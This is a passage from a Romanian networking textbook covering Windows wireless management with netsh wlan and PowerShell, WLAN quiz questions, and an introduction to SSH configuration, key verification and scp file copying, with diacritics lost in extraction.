PS C:\Users\Administrator> netsh wlan show drivers Interface name: Wireless Network Connection Driver Vendor Provider Date Version [...] Type Radio types supported FIPS 140-2 mode supported Authentication and cipher : : : : : Dell Wireless 1390 WLAN Mini-Card Broadcom Broadcom 10/12/2007 4.170.25.17

: Native Wi-Fi Driver : 802.11g 802.11b : No supported in infrastructure mode: Open None Open WEP Shared None Shared WEP WPA2-Enterprise TKIP WPA2-Personal TKIP WPA2-Enterprise CCMP WPA2-Personal CCMP Unknown TKIP

Putei citi un articol interesant despre pericolele reelelor ad hoc la http://www.windowsecurity.com/whitepapers/Dangers-Ad-Hoc-Wireless-Networking.html

199 | W i r e l e s s
Unknown CCMP WPA-Enterprise TKIP WPA-Personal TKIP WPA-Enterprise CCMP WPA-Personal CCMP Authentication and cipher supported in ad-hoc mode: WPA2-Personal CCMP Open None Open WEP [...]

5-26: Capabilitile interfeei wireless Pentru afiarea interfeelor wireless din sistem n contextul reelelor la care acestea sunt conectate, se folosete comanda netsh wlan show interfaces:
PS C:\Users\Administrator> netsh wlan show interfaces There is 1 interface on the system: Name Description GUID Physical Address State SSID BSSID Network Type Radio Type Authentication Cipher Connection Mode Channel Receive Rate (Mbps) Transmit Rate (Mbps) Signal Profile : : : : : : : : : : : : : : : : : Wireless Network Connection Dell Wireless 1390 WLAN Mini-Card #3 6fe1ef65-14ac-4a72-bf4b-52a821535ace 00:19:7e:11:91:64 connected DLINK_WIRELESS 00:19:5b:22:31:a4 Infrastructure 802.11g Open None Auto Connect 6 54 54 60% DLINK_WIRELESS

Pentru afiarea listei reelelor wireless configurate, echivalentul listei obinute prin interfaa Connect to a network, se poate folosi comanda netsh wlan show profiles:
PS C:\Users\Administrator> netsh wlan show profiles Profiles on interface Wireless Network Connection: Group Policy Profiles (read only) --------------------------------<None> User Profiles ------------All User Profile All User Profile All User Profile

: DLINK_WIRELESS : ccielab : nnet

Afiarea unei liste a reelelor wireless detectate se face prin comanda netsh wlan show networks:
PS C:\Users\Administrator> netsh wlan show networks Interface Name : Wireless Network Connection There are 5 networks currently visible. SSID 1 : YoGi Network type Authentication Encryption SSID 2 : ccielab Network type Authentication Encryption SSID 3 : Bee Network type Authentication Encryption [...] : Infrastructure : WPA-Personal : CCMP : Infrastructure : WPA2-Personal : CCMP : Infrastructure : Open : WEP

200 | R e e l e L o c a l e

Comanda netsh wlan show mai suport parametri ca autoconfig, blockednetworks, filters, settings, tracing. Pentru a afia toate informaiile disponibile pentru toate interfeele wireless i toate reelele, detectate sau configurate, se folosete parametrul all:
netsh wlan show all

5.5.1.2 Salvarea, ncrcarea i tergerea profilurilor


Netsh ofer posibilitatea exportrii n fiiere xml a configuraiilor reelelor wireless. Pentru a exporta o astfel de configuraie se folosete sintaxa comenzii netsh wlan export profile folder= cu urmtorii parametri:
folder = cale i nume fiier; poate fi o cale absolut sau relativ name = opional, numele profilului de exportat interface = opional, numele interfeei pe care profilul este configurat Dac se include parametrul name, atunci se va exporta doar un singur profil. Dac se specific parametrul interface, se salveaz toate profilurile configurate pe acea interfa. Lipsa parametrului interface are ca efect exportarea tuturor profilurilor din sistem. Exemplu de utilizare, cu salvarea profilurilor n directorul curent (.):
PS C:\Users\Administrator> netsh wlan export profile folder=. Interface profile "DLINK_WIRELESS" is saved in file ".\Wireless Network ConnectionDLINK_WIRELESS.xml" successfully. Interface profile "ccielab" is saved in file ".\Wireless Network Connection-ccielab.xml" successfully. Interface successfully. profile "nnet" is saved in file ".\Wireless Network Connection-nnet.xml"

ncrcarea configuraiilor din fiierele xml exportate se face prin utilizarea parametrului add profile, ca n urmtorul exemplu:
netsh wlan add profile filename= C:\"my_wlan_profile.xml" user=all interface= "Wireless Network Adapter"

Opional, mai pot fi folosii doi parametri suplimentari: parametrul user, care dac rmne nespecificat, import setrile automat pentru utilizatorul curent sau poate primi una dintre valorile all sau current, iar parametrul interface pentru a specfica o anumit intrefa wireless pentru care profilul s fie aplicat. La specificarea intefeei, se pot folosi simbolurile ? i * (wildcard) pentru aproximarea denumirilor. Exportarea modificrilor efectuate se poate realiza i prin parametrul dump, care va exporta un script ce poate fi executat pentru a reface o configuraie intermediar, spre exemplu:
netsh wlan dump > c:\wlandump.txt

5.5.1.3 Conectarea i deconectarea


O alternativ la interfaa Connect to a network o reprezint comenzile de conectare i deconectare de la reele wireless utilizabile prin intermediul lui netsh wlan. Att conectarea ct i deconectarea se realizeaz prin intermediul numelui profilului configurat pentru acea reea. Comenzile se folosesc n modul urmtor:
connect ssid=linksys name=linksys_profile interface=Wireless Network Adapter

Comanda anterioar realizeaz conectarea la o reea iar urmtoarea, deconectarea:


disconnect interface=Wireless Network Adapter

201 | W i r e l e s s

Dac n sistem este instalat doar o singur interfa wireless, parametrul interface poate s lipseasc. n cazul n care se ncearc conectarea la o reea folosindu-se o interfa care este deja conectat la o alt reea, se va realiza deconectarea de la reeaua anterioar i conectarea la cea dat ca parametru. Conectarea la aceeai reea la care interfaa este deja conectat va returna un mesaj care anun conectarea cu succes, dar starea conexiunii nu va fi modificat n niciun fel.

5.5.1.4 Filtre i profiluri


ofer posibilitatea de a aplica filtre pe baza SSID-urilor reelelor wireless. Cu alte cuvinte, accesul (conectarea) la anumite reele poate fi blocat sau permis n mod explicit. Pentru managementul filtrelor, se pot folosi parametrii add filter i delete filter ca n exemplele urmtoare:
netsh
netsh wlan add filter permission=block ssid=linksys networktype=infrastructure

Comanda de mai sus realizeaz adugarea unui filtru care interzice conectarea la reele de tip infrastructur cu numele linksys. Permisiunile posibile sunt de tipul allow, block sau denyall. De asemenea, tipul reelei dat prin parametrul networktype poate fi infrastructure sau adhoc. De asemenea, se folosete o comand similar pentru tergerea unui filtru:
netsh wlan delete filter permission=block ssid=linksys networktype=infrastructure

Att n cazul adugrii ct i n cazul tergerii de filtre, utilizarea parametrului ssid este necesar doar pentru valorile de allow sau block ale parametrului permission. Dac se creeaz sau se terge un filtru cu permisiunea denyall, parametrul ssid nu trebuie inclus. Definirea profilurilor wireless este, de asemenea, posibil prin intermediul lui netsh wlan. Pentru a aduga sau terge profiluri se folosesc parametrii add profile sau delete profile, ca n exemplele urmtoare, pentru adugare, respectiv, tergere de profiluri:
netsh wlan Adapter user=all add profile filename=my_wlan_profile.xml interface=Wireless Network

netsh wlan delete profile name=linksys_profile interface=Wireless Network Adapter user=all

Adugarea profilurilor necesit specificarea fiierului din care s fie ncrcate setrile. Din acest fiier se ncarc i numele propriu-zis al profilului, ce este folosit mai apoi pentru comanda de tergere. Trebuie inut cont de faptul c setrile stocate n fiiere de tip profil nu sunt ncrcate dect la comenzi de tip add profile, configuraia curent fiind stocat n sistemul de operare, astfel c modificarea unui fiier profil fr ncrcarea lui nu va avea niciun efect (cu alte cuvinte, nu sunt considerate fiiere de configurare). Parametrul interface este opional n ambele cazuri i cere folosirea unui nume de interfa conform modului n care ele sunt afiate prin comanda netsh wlan show interfaces. n momentul folosirii lui, adugarea sau tergerea profilurilor va avea efect doar pe interfaa respectiv. De asemenea, specificarea parametrului user este opional i va efectua modificrile pentru utilizatorul respectiv. Altfel, comenzile de creare sau tergere profiluri se vor aplica doar utilizatorului curent. Pentru tergerea profilurilor, omiterea parametrului interface va avea ca efect tergerea profilului respectiv de pe toate interfeele active.

5.5.1.5 Comenzi de tip set


Comanda set autoconfig are rolul de a activa sau de a dezactiva serviciul de autoconfigurare pe o anumit interfa. Dac serviciul de autoconfigurare este activ, Windows

202 | R e e l e L o c a l e

Server 2008 se va conecta automat la reelele wireless prin interfaa corespunztoare. Implicit, acest serviciu este activ. Un exemplu de utilzare este urmtorul:
netsh wlan set autoconfig enabled=yes inteface=Wireless Network Adapter

Parametrul enabled poate accepta valoarea yes sau no, iar menionarea interfeei este obligatorie. Comanda set profileorder ofer posibilitatea de a atribui prioriti profilurilor configurate pentru a defini ordinea n care se prefer conectarea prin acestea. Exemplul urmtor definete prioritatea 2 pentru un anumit profil de pe o anumit interfa:
netsh wlan set profileorder name=linksys_profile interface=Wireless Network Adapter priority=2

O valoare mai mic reprezint o prioritate mai buna, iar dac valoarea parametrului
priority este setat pe 1 sau 0, profilul declarat va trece automat pe prima poziie, indiferent

dac mai exista un altul configurat cu aceeasi prioritate. Comanda set tracing permite activarea sau dezactivarea modului n care serviciul wireless ine evidena (n jurnalele de sistem) a evenimentelor. n mod implicit, modul tracing este dezactivat. Pentru activarea tracing-ului se folosete comanda:
netsh wlan set tracing mode=yes

Activarea sau dezactivarea modului tracing se face prin specificarea parametrului mode mpreun cu valorile yes sau no. Deoarece comportamentul implicit al tracing-ului este de a se dezactiva n momentul restartrii sistemului, pentru meninerea sa activ din momentul autentificrii utilizatorilor este necesar includerea modului persistent.

5.5.2 Managementul serviciului wireless prin PowerShell


Pentru a genera o list sub form de tabel a tuturor interfeelor de reea (inclusiv cele virtuale) folosind PowerShell, se utilizeaza comanda Get-WmiObject n modul urmtor:
PS C:\Users> Get-WmiObject win32_networkadapter | Format-Table ServiceName ----------[...] bcm4sbxp BCM43XX [...] BTWDNDIS [...] MACAddress ---------AdapterType ----------DeviceID -------6 7 18 Name ---Broadcom 440x... Dell Wireless... Bluetooth LAN...

00:13:D4:9E:5... Ethernet 802.3 00:19:7E:11:9... Ethernet 802.3 00:19:7D:E1:A... Ethernet 802.3

5-27: Interfeele de reea listate prin WMI Din lista obinut mai sus este important de identificat numele interfeei wireless mpreun cu identificatorul su (cmpul DeviceID) pentru a o putea selecta cu uurin n continuare:
PS C:\Users> Get-WmiObject win32_networkadapter | where {$_.DeviceId -eq 7} ServiceName MACAddress AdapterType DeviceID Name NetworkAddresses Speed : : : : : : : BCM43XX 00:19:7E:11:91:64 Ethernet 802.3 7 Dell Wireless 1390 WLAN Mini-Card #3 11000000

203 | W i r e l e s s

Rezultatul lui Get-WmiObject win32_networkadapter a fost trimis prin operatorul pipe (|) instruciunii where, care selecteaz doar intrrile ce corespund condiiei din parantez (cmpul DeviceId al obiectului curent trebuie s fie 7). Pentru a efectua n continuare operaii asupra interfeei selectate, ca obiect, este mai uor s se pstreze o referin asupra obiectului returnat ntr-o variabil:
$my_wireless = Get-WmiObject win32_networkadapter | where {$_.DeviceId -eq 5}

Dup ce s-a obinut referina la obiectul creat, acestuia i se pot seta diferite proprieti sau i se pot apela metodele. Pentru o list complet a proprietilor i metodelor disponibile se poate trimite obiectul nou creat comenzii Get-Member:
PS C:\Users\Administrator> $my_wireless | Get-Member

Comanda de mai sus returneaz aproximativ 60 de metode i proprieti ale interfeei de reea. Una dintre utilizrile simple ale lor reprezint apelarea metodelor $my_wireless.Enable() sau $my_wireless.Disable().

204 | R e e l e L o c a l e

ntrebri

1. Cel mai popular standard WLAN, n momentul de fa, este: 802.11a 802.11b 802.11g 802.11n 2. Dezavantajul undelor din banda de 2,4 GHz fa de cele din banda de 5 GHz este: penetreaz mai greu materialele sunt foarte nocive pentru organismele vii costul de producie ale echipamentelor este mai mare interferenele sunt mai mari 3. Cte reele 802.11b (11 Mbps) pot funciona, fr interferene, n aceeai raz de aciune n banda ISM de 2,4 GHz ? 1 2 3 4 4. n ce mod de funcionare trebuie configurat placa de reea cu ajutorul utilitarului iwconfig pentru a se putea realiza capturi de trafic: Monitor Managed Ad-hoc Promiscuous 5. Care dintre urmtoarele metode ofer cel mai mic nivel de securitate: Filtrarea pe baz de MAC Eliminarea SSID broadcast Securitatea WEP Securitatea WPA2 6. Care din urmtoarele utilitare pot fi folosite pentru configurarea temporar a parametrilor de nivel 2 ai unei reele wireless.

Ifconfig iproute2 iwconfig route 7. Tehnica folosit n protocolul wireless pentru acces la mediu este:

CSMA/CD CSMA/CA Wireless CSMD CSMW

205 | W i r e l e s s

8. Care din urmtoarele standarde este un standard de Wireless MAN ? 802.11n 802.13z 802.3ab 802.13e 9. Care din urmtoarele dispozitive nu poate asocia clieni la o reea infrastructur? Access point Router wireless Bridge Controller wireless 10. Undele wireless sunt unde de tip: Microunde Unde radio de nalt frecven Ultraviolete Unde audio

206 | R e e l e L o c a l e

6 Securitate i monitorizare
Ce se nva din acest capitol?
Funcionarea protocolului SSH Configurarea de baz i avansat a protocolului SSH Funcionarea unui firewall Configurarea de baz i avansat de filtrare de pachete Configurarea Wireshark Configurare snort Configurare Windows Firewall Monitorizare n Windows

Cine este...
Bruce Schneier este un specialist n securitate. Schneier este autorul Applied Cryptography i Practical Cryptography. Schneier a proiectat sau contribuit la proiectarea mai multor algoritmi de criptare precum Blowfish, Twofish, Helix. n acest moment, Schneier este CSTO la BT Counterpane, companie pe care a nfiinat-o. Daniel J. Bernstein este matematician i programator. Actualmente este profesor la Universitatea din Illinois. Bernstein este autorul qmail, publicfile i djbdns. Bernstein a publicat un numr important de articole n matematic. Bernstein este autorul bibliotecii matematice djbfft folosit pentru calculul FFT. Theo de Raadt este fondatorul i conductorul proiectelor OpenBSD i OpenSSH. De Raadt a fondat OpenBSD dup ce a prsit proiectul NetBSD. Proiectelor OpenBSD i derivate sunt cunoscute pentru preocuparea pentru securitate. O personalitate abraziv, Theo de Raadt a avut conflicte cu ali membri din comunitatea open-source, dar i sunt recunocute meritele n promovarea driverelor free software i a modelului deschis de dezvoltare.

6.1 Secure Shell (SSH)


SSH (Secure Shell) este un protocol utilizat pentru accesul la distan i pentru executarea comenzilor pe o maina de la distan. A fost conceput pentru a nlocui rlogin, rsh i telnet i pentru a asigura comunicaie criptat ntre dou staii ce comunic ntr-o reea nesigur, aa cum este Internetul. Prin canalul oferit pot fi redirectate i conexiuni X11 i porturi arbitrare TCP/IP. SSH utilizeaz conexiuni TCP, componenta server ascultnd pe portul 22. Aa cum s-a menionat i mai sus, SSH ofer o comunicaie criptat ntre dou staii, criptarea oferind datelor confidenialitate i integritate. SSH utilizeaz criptografia cu chei publice pentru autentificarea staiilor ce doresc s se conecteze i s execute comenzi la distan, conectarea realizndu-se pe baza unui nume de utilizator i a unei parole. Sunt suportate urmtoarele metode de criptare: IDEA, DES, 3DES, ARCFOUR, BLOWFISH i TSS1, implicit folosindu-se IDEA.

Capitolul de Securitate din Computer Networks, ediia a patra, Tanenbaum.

207 | S e c u r i t a t e i m o n i t o r i z a r e

6-1: Conexiune SSH criptat n prezent, exist dou versiuni ale acestui protocol. Prima versiune, SSH-1, a fost lansat n 1995, ctignd rapid popularitatea utilizatorilor. n 1996, apare SSH-2, o rescriere integral a primei versiuni, incompatibil cu prima versiune, aducnd mbuntiri substaniale n procesul de schimbare a cheilor i n asigurarea integritii datelor. Principalele diferene dintre cele dou versiuni sunt listate n tabelul de mai jos: Caracteristici Structur Suport pentru certificate Modificarea periodic a cheilor de sesiune Verificarea integritii mesajelor SSH v1 O singur component care se ocup de transport, autentificare i sesiune Nu Nu Folosete verificarea CRC-32 care poate fi atacat cu atacul pe baz de inserie1 SSH v2 Componente separate pentru transport, autentificare i sesiune Da Da Folosete un algoritm de criptare/decriptare puternic

6.1.1 Protocolul SSH

6.1.1.1 Instalare
Cea mai popular implementare a protocolului SSH o reprezint pachetul OpenSSH, un proiect open source, lansat i creat de cei de la OpenBSD. n prezent, cea mai nou versiune de OpenSSH este 4.7p1, lansat pe 4 septembrie 2007. Pachetul ssh este compus dintr-un server (sshd), un client (ssh - disponibil implicit pe majoritatea distribuiilor) i un set de utilitare, pentru gestiunea cheilor. n general sshd este pornit de scripturile de iniializare ale sistemului i ruleaz permanent n background. Instalarea serverului SSH include instalarea unor module adiionale cum ar fi:

sshd componenta server ssh-keygen utilitar folosit pentru generarea cheilor ssh-keyscan utilitar folosit pentru administrarea cheilor publice scp utilitar pentru copierea sigur de fiiere ssh-agent componenta folosit pentru salvarea cheilor private etc.
root@myr:~# apt-get install ssh Reading package lists... Done Building dependency tree... Done The following extra packages will be installed: openssh-server Suggested packages:
1

https://honor.trusecure.com/pipermail/firewall-wizards/1998-June/002845.html

208 | R e e l e L o c a l e
rssh The following NEW packages will be installed: openssh-server ssh 0 upgraded, 2 newly installed, 0 to remove and Need to get 206kB of archives. After unpacking 586kB of additional disk space Do you want to continue [Y/n]? y [...] Setting up openssh-server (4.2p1-7ubuntu3) ... Creating SSH2 RSA key; this may take some time Creating SSH2 DSA key; this may take some time * Restarting OpenBSD Secure Shell server... Setting up ssh (4.2p1-7ubuntu3) ...

0 not upgraded. will be used.

... ...

[ ok ]

Odat instalat, serverul SSH este pornit automat. Pentru pornirea sau repornirea sa se poate folosi scriptul /etc/init.d/ssh.
root@myr:~# /etc/init.d/ssh -h Usage: /etc/init.d/ssh {start|stop|reload|force-reload|restart}

6.1.1.2 Funcionarea protocolului SSH


6.1.1.2.1 Criptografia cu chei publice
Criptografia reprezint procesul de transformare a unui text clar ntr-un text cifrat. Ea st la baza multor servicii i mecanisme de securitate folosite n Internet, folosind metode matematice pentru transformarea datelor, cu intenia de a ascunde coninutul lor sau de a le proteja mpotriva modificrii. Securizarea comunicaiilor n Internet poate fi comparat cu semnarea unei scrisori i trimiterea acesteia ntr-un plic sigilat. Semntura d autenticitatea scrisorii, iar plicul sigilat i confer acesteia confidenialitatea necesar. Electronic, confidenialitatea este asigurat prin criptarea mesajului cu o cheie secret folosind un algoritm asociat. Versiunea criptat a mesajului poate fi citit de destinatar numai dac acesta posed cheia secret i algoritmul de decriptare. Exist dou tipuri de sisteme criptografice:
simetrice (cu chei secrete), care folosesc aceeai cheie att la criptarea ct i la decriptarea mesajelor. asimetrice (cu chei publice), care folosesc chei distincte de criptare i decriptare. Una din chei este inut secret i este cunoscut doar de proprietarul ei. A doua cheie (perechea ei) este fcut public, deoarece este imposibil deducerea unei chei din cealalt.

Una dintre metodele de autentificare folosit de protocolul SSH este bazat pe algoritmul RSA (Rivert-Shamir-Adleman). Publicat nc din 1977, RSA este un algoritm folosit pentru criptografia cu chei publice. Criptografia cu chei publice funcioneaz n modul urmtor: o persoan care dorete s primeasc mesaje secrete deine dou chei, una public i una privat. Cheia public poate fi afiat pe pagina Web personal sau fcut public printr-un alt mijloc, aceasta putnd fi vzut de ctre oricine. Cheia privat, n schimb, va fi inut secret pe staia local. Dac n aceste condiii cineva va dori sa trimit mesaje secrete acestei persoane, va lua cheia public afiat pe pagina Web personal i va cripta mesajul. Cnd mesajul va ajunge la destinaie, persoana ce deine cheia privat (perechea cheii publice care a fost utilizat n criptarea mesajului trimis) va decripta mesajul cu ajutorul acesteia. n absena cheii private mesajul nu va putea fi decriptat, astfel nct numai destinatarul lui de drept l va putea citi. n procesul de instalare a serverului, va fi creat implicit o pereche de chei (public i privat), fiecare cheie fiind stocat ntr-unul dintre fiierele: /etc/ssh/ssh_host_rsa_key i /etc/ssh/ssh_host_rsa_key.pub. n fiierul ssh_host_rsa_key.pub este salvat cheia public, iar n fiierul ssh_host_rsa_key cheia privat.

209 | S e c u r i t a t e i m o n i t o r i z a r e

6.1.1.2.2 Stabilirea conexiunii


Fiecare staie (client) are o cheie privat RSA, host key (n mod normal pe 1024 de bii). n plus, atunci cnd este pornit, daemon-ul ssh (sshd) genereaz automat o a doua cheie, server key (pe 768 de bii). Aceasta este regenerat din or n or dac a fost folosit i nu este pstrat niciodat pe disc. De fiecare dat cnd un client iniiaz o conexiune, daemon-ul i trimite host key i server key (care este public). Clientul compar host key primit cu cea din baza lui de date, pentru a verifica dac nu s-a schimbat, apoi genereaz un numr aleator pe 256 de bii. Clientul cripteaz acest numr folosind nti host key i apoi server key i trimite numrul criptat la server. n continuare ambele pri vor folosi acest numr aleator ca o cheie de criptare.

6.1.2 Configuraii de baz SSH

6.1.2.1 Utilizarea serviciului ssh


Comanda de conectare la un server SSH are doi parametrii importani: numele utilizatorului i adresa (numele) serverului destinaie. Serverul de SSH la care se va face conectarea: securessh.pub.ro (n exemplul de mai jos), acest nume este un nume public, pe care serviciul de DNS l va traduce ntr-o adres IP. Dac se dorete conectarea la un server dar nu se cunoate numele su DNS, se poate introduce direct IP-ul serverului. Cnd un client iniiaz o conexiune ssh pe un server, trebuie s se conecteze pe un utilizator existent pe acel server pentru a putea avea acces la interpretorul de comenzi. Parametrul bogdand specific utilizatorul n contul cruia se va intra la stabilirea conexiunii.
waters@myr:/$ ssh bogdand@securessh.pub.ro Password: Last login: Wed Sep 19 14:37:29 2007 from 86.121.138.243 Welcome to the dark side.. we've got cookies! securessh:/$

n rezultatul comenzii de mai sus se poate observa faptul ca s-au mai fcut conexiuni anterioare pe acel server de SSH, fiind oferit att ora i data ultimei conexiuni, ct i adresa IP de la care s-a realizat conexiunea. Cnd un client de SSH iniiaz pentru prima dat o conexiune ctre un server nou, acesta din urm va trebui sa se autentifice ctre client. Fiecare server de SSH are un identificator unic (host key) cu care se autentific clienilor. Acest ID este implementat prin chei publice i chei private. La primirea unei conexiuni de la un client, serverul ofer cheia sa public, fcnd astfel posibil autentificarea. La acceptarea cheii publice de la server, clientul adaug aceast cheie n fiierul known_hosts. Astfel, urmtoarea conexiune pe care acest client o va face la server nu va mai necesita transferul cheii publice, aceasta existnd deja stocat pe client. Pentru a realiza acest lucru, clientul SSH va salva cheia serverului n fiierul local $HOME/.ssh/known_hosts. La urmtoarea conectare pe acelai server, clientul SSH va verifica acest fiier i, dac va gsi cheia public oferit de acesta se va afia pentru autentificare doar parola. Un exemplu de fiier known_hosts este urmtorul:
waters@myr:/$ ls ~/.ssh/known-hosts acmserver,141.85.37.165 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA7ijnAivb7dfGLkfYJlSk0wDWd2MkeP9YQctVfyb/8OfgVTLlp3eMimItJKv7rL5Angb +A8bxdBy+tn7n0iDyoMNIAQP+rVBG2tDw1wTdl0mAhes90rOy4xOtVBOaF40dg7iy3/9zgp8HlVdiVjibuXeaIKAzew/k/I XSB8YRd18= atlantis.cs.pub.ro,141.85.37.4 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAqJT/wsciLHg9g1CHrFkvx9KaSl4Z7uQROWSEJd6zFWey4aMmcW//A6rrNK7DK6luv+A eJLMHA8+1IcnzDSV+pFUH/7IeR1ryrkyGmQRjnp5crrVDPY+ixOrR3Drpn6tpEb8woW12Ti0QXGNywc3g7w7VbSTP7AZGwN lMBes26PM=

210 | R e e l e L o c a l e

Pe prima linie sunt trecute numele serverului de la distan i adresa IP a acestuia, apoi urmnd cheia public. n exemplul de mai sus exist dou servere la care utilizatorul s-a conectat n prealabil i a cror cheie public a fost salvat. Aceste chei se pot afla n dou locuri din sistemul de fiiere:

/etc/ssh/ssh_known_hosts, fiier a crui locaie poate fi schimbat alterarea directivei GlobalKnownHostsFile din fiierul de configurare /etc/ssh/ssh_config. $HOME/.ssh/known_hosts, fiier a crui locaie poate fi schimbat prin alterarea directivei UserKnownHostsFile din acelai fiier de configurare.

n captura de mai jos se poate observa cum la prima conexiune realizat la un server, clientul reine amprenta acestuia n fiierul known_hosts:
Warning: Permanently added 'localhost' (RSA) to the list of known hosts. student@localhost's password: Linux ubuntu 2.6.15-26-386 # 1 PREEMPT Thu Aug 3 02:52:00 UTC 2006 i686 GNU/Linux The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

6.1.2.2 Utilizarea SSH pentru rularea de comenzi la distan


Sintaxa complet a utilitarul ssh permite precizarea unei liste de parametri a utilizatorului i a adresei destinaie, precum i a unei comenzi ce va fi rulat dup stabilirea sesiunii SSH. Dac nu este precizat o comand se va rula un interpretor de comenzi (cel mai adesea /bin/bash). n exemplul de mai jos, sunt rulate local dou comenzi separate prin ;. Apoi se ruleaz aceleai comenzi (de data aceasta protejate ntre ghilimele), rezultatul afiat este cel al executrii lor pe staia destinaie, dup autentificarea cu utilizatorul bogdand. Se observ din exemplu c autentificarea se realizeaz fr a interoga utilizatorul, aceasta fiind rezultatul unei autentificri pe baz de chei.
waters@myr:~$ hostname; pwd apple /home/rrazvan rrazvan@apple:~$ ssh bogdand@141.85.99.5 "hostname; kiwi /home/users/bogdand

pwd"

ntrebarea ce se ridic n continuare este cum se poate verifica amprenta RSA. Dac s-a realizat o conexiune la un server SSH, dar un atacator a interceptat conexiunea, este posibil ca n urma unei neatenii, prin simpla acceptare a respectivei chei, s se accepte de fapt cheia fals i nu pe cea real. O metod ar putea fi publicarea amprentei RSA (cheia public) pe siteul oficial al celui ce ofer un astfel de serviciu. Dac nu exist aceast posibilitate, cheia trebuie verificat imediat dup ce v-ai autentificat. Acest lucru se realizeaz folosind utilitarul ssh-keygen i comparnd rezultatele obinute cu cele oferite de server. Dac rezultatele sunt identice, atunci autentificarea s-a realizat cu succes pe staia dorit.
ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub

Exist dou modaliti de execuie a comenzilor prin SSH. Prima presupune executarea comenzilor dorite dup realizarea conexiunii. Prin cea de-a doua metod comenzile dorite sunt date ca argumente clientului SSH. Pentru aceasta din urm, de fiecare dat cnd se va executa o anumit comand, va trebui introdus parola utilizatorului ce deschide sesiunea.
root@myr:~# ssh student@localhost ls student@localhost's password: Examples root@myr:~# ssh student@localhost pwd student@localhost's password: /home/student root@myr:~# ssh student@localhost uname -a

211 | S e c u r i t a t e i m o n i t o r i z a r e
student@localhost's password: Linux ubuntu 2.6.15-26-386 # 1 PREEMPT Thu Aug 3 02:52:00 UTC 2006 i686 GNU/Linux

6.1.2.3 Fiierul de configurare pentru server


Fiierul principal pentru configurarea serverului SSH este /etc/ssh/sshd_config. Cteva directive importante pentru configurarea serviciului sunt:

[Port 22] specific portul pe care ascult serverul; portul implicit este 22. [ListenAddress 192.168.1.2] specific interfaa pe care ascult daemon-ul sshd.

Adresa implicit este 0.0.0.0, reprezentnd faptul c se ascult pe toate interfeele.


[HostKey /etc/ssh/ssh_host_key] specific fiierul n care este inut cheia privat a utilizatorului. [ServerKeyBits 1024] definete numrul de bii din server key (implicit 768). [KeyRegenerationInterval 3600] specific dup ct timp va fi regenerat cheia

serverului. Aceasta poate fi o metod de a preveni decriptarea n cazul interceptrii unei sesiuni n urma unui atac man-in-the-middle. [PermitRootLogin] poate fi yes, nopwd sau no i se refer la posibilitatea autentificrii prin SSH folosind contul de root; nopwd semnific faptul c nu este permis autentificarea cu parol. Aceast opiune trebuie ntotdeauna setat pe no din motive de securitate. [X11Forwarding yes] specific dac este permis redirectarea conexiunilor X11 peste o conexiune de SSH. [RSAAuthentication yes] specific folosirea autentificrii folosind protocolul RSA. [AllowUsers admin] specific utilizatorii care se pot conecta prin acest serviciu. [PrintMotd] specific dac sshd-ul va afia coninutul fiierului /etc/motd dup autentificarea unui utilizator. MOTD (Message of the Day) reprezint un text afiat utilizatorului dup autentificare, dar nainte de apariia promptului, care conine mesaje de la administrator.

6.1.2.4 Copierea fiierelor la distan


Unul dintre utilitarele importante ce aparin pachetului OpenSSH este scp (Secure Copy). SCP este un protocol folosit n transferul sigur de fiiere ntre dou staii, pe durata transferului datele fiind criptate de o sesiune SSH. Protocolul n sine nu asigur autentificarea i securitatea comunicaiei, acestea fiind asigurate de ctre protocolul SSH. Astfel, dac se dorete copierea unui fiier de pe staia local pe o staie la distan se poate folosi urmtoarea sintax:
scp cale_fiier_local utilizator@staie_distan:/cale_fiier

n schimb, dac se dorete copierea unui fiier de pe o staie la distan pe staia local se poate folosi urmtoarea sintax:
scp utilizator@staie_distan:/cale_fiier_remote /cale_fiier

Not: daca se folosete o adresare relativ, nu se mai folosete / la nceputul cii fiierului

6.1.2.4.1 Copierea unui singur fiier pe o staie la distan


n exemplul de mai jos, se va copia fiierul test.txt de pe staia local (directorul local) pe staia anaconda.cs.pub.ro. Fiierul va fi copiat n directorul home al utilizatorului user, cu numele NewTest.txt.
root@myr:~# scp test.txt user@anaconda.cs.pub.ro:NewTest.txt

212 | R e e l e L o c a l e

Pentru a pstra numele original al fiierului ce trebuie copiat se omite specificarea noului nume.
root@myr:~# scp test.txt user@anaconda.cs.pub.ro:

ntr-un mod asemntor se poate realiza copierea unui director i a coninutului acestuia:
root@myr:~# scp r test user@anaconda.cs.pub.ro:Data/NewTest/

Data/NewTest, aflat anaconda.cs.pub.ro.

Folosind opiunea r, directorul local test va fi copiat recursiv n directorul n directorul home al utilizatorului user de pe staia

6.1.2.4.2 Copierea unui singur fiier de pe o staie la distan


Pentru copierea fiierului data.txt de pe staia anaconda.cs.pub.ro, din directorul home al utilizatorului user, n directorul curent putem folosi urmtoarea sintax:
root@myr:~# scp user@anaconda.cs.pub.ro:data.txt NewData.txt

n comanda de mai sus, fiierul se salveaz n directorul curent sub numele de


NewData.txt.

Cum s-a menionat i mai sus, se poate specifica i calea pentru fiierul ce se dorete a fi copiat. n exemplul de mai jos, fiierul data.txt, aflat n subdirectorul scoala/teste (relativ la directorul home al utilizatorului user), va fi copiat n directorul curent, fiierul pstrnd acelai nume.
root@myr:~# scp user@anaconda.cs.pub.ro:scoala/teste/data.txt .

6.1.3 Configuraii avansate SSH

6.1.3.1 Redirectarea X i TCP/IP peste SSH


Dac utilizatorul folosete X11 (variabila de mediu DISPLAY fiind setat), conexiunea cu display-ul X11 este transferat automat la distan n aa fel nct orice program X11 pornit din shell (sau printr-o comand) este trecut prin canalul criptat i conexiunea cu adevratul server X va fi fcut de pe maina local. Utilizatorul nu trebuie s seteze manual variabila DISPLAY. Transferarea conexiunilor X11 poate fi configurat din linia de comand sau din fiierele de configurare. Redirectarea protocolului X11 trebuie activat att n fierul sshd_config (prin variabila X11Forwarding) ct i n fiierul ssh_config (prin variabila ForwardX11). Ambele variabile trebuiesc setate la valoarea yes. n linia de comand putem folosi opiunea X pentru stabilirea conexiunii.
root@myr:~# ssh -X student@anaconda.cs.pub.ro

